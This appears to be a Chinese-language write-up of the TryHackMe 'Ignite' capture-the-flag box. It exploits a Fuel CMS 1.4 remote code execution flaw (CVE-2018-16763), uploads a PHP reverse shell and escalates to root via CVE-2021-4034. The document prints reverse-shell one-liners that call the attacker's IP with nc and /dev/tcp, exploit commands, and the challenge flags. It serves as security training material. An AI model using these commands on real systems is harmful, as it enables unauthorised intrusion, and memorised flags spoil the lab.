跳轉到

THM - Ignite 靶機滲透

A new start-up has a few issues with their web server.

靶場地址

點我前往

題目背景

Root the box! Designed and created by DarkStar7471, built by Paradox.


Enjoy the room! For future rooms and write-ups, follow @darkstar7471 on Twitter.

靶機類型

免費靶機

過關條件

  • User flag
  • Root flag

滲透過程

基本資訊

攻擊機IP:10.11.74.107

目標機IP:10.10.18.167

使用Nmap掃描Port

Nmap掃描Port
nmap -T4 -A -v 10.10.18.167
Port 開放:80

連線至Web服務

使用瀏覽器連線至Web服務
網站有架設服務 - Fuel CMS Version 1.4

上網查了一下,Fuel CMS Version 1.4 有個 Remote Code Execution 漏洞

CVE-2018-16763

Exploits

透過exploits進行遠端代碼操作

Exploits下載至本地端,用ruby運行

透過ruby運行程式
ruby 49487.rb http://10.10.18.167 ls
成功連上...

如果執行時出現下面錯誤

錯誤訊息
<internal:/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb>:86:in `require': cannot load such file -- docopt (LoadError)
    from <internal:/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb>:86:in `require'
    from 49487.rb:14:in `<main>'
請執行下面指令安裝ruby的docopt套件
安裝ruby的docopt套件
sudo gem install docopt 

上傳reverse-shell.php 並運行

由於Exploits不太好操作,我決定上傳reverse-shell.php。

備註

反彈shell的程式碼可以從下面兩個Github取得,記得修改程式碼裡面的IP和PORT

php-reverse-shell

phpshell

或者自己寫也行,下面是幾個常見的

<?php system('nc -e /bin/bash {你的IP} {監聽的PORT}')?>
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/{你的IP}/{監聽的PORT} 0>&1'");?>    

在你的 reverse shell 檔案路徑裡,用python建立簡易的HttpServer

建立簡易的Http Server服務
python -m http.server

然後在用剛剛的ruby檔案跑下面命令

執行下面命令把reverse-shell.php上傳
ruby 49487.rb http://10.10.18.167 wget%09http://10.11.74.107:8000/php-reverse-shell.php
在本機運行下面指令進行監聽

進行監聽
nc -v -n -l -p 4444
等待連線.

接著開新一個shell,執行下面指令

連線至受害機上的reverse-shell.php
curl http://10.10.18.167/php-reverse-shell.php
會停在這邊是正常的...

回到剛剛監聽的shell

shell正確反彈了...

找到User.txt

CD 到 /home/www-data,便可以看到User.txt,用cat開啟檔案即可。

6470e394cbf6dab6a91682cc8585059b

找到Root.txt

又是來到提權的環節,首先先把反彈shell轉成tty

首先先把反彈shell轉成tty
python -c "import pty; pty.spawn('/bin/bash')"

使用sudo -l 看看我有沒有sudo的權限

檢查有沒有sudo的權限
sudo -l
看樣子需要輸入密碼...但是我沒有

嘗試使用下面的指令,也沒有找到可以用的特權二進制文件

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done 

嘗試找看看有沒有CVE-2021-4034漏洞

版本號在漏洞範圍內...

依照之前寫的滲透紀錄-Agent Sudo進行exploit

成功取得root權限,root.txt內容為b9bbcb33e11b80be759c4e844862482d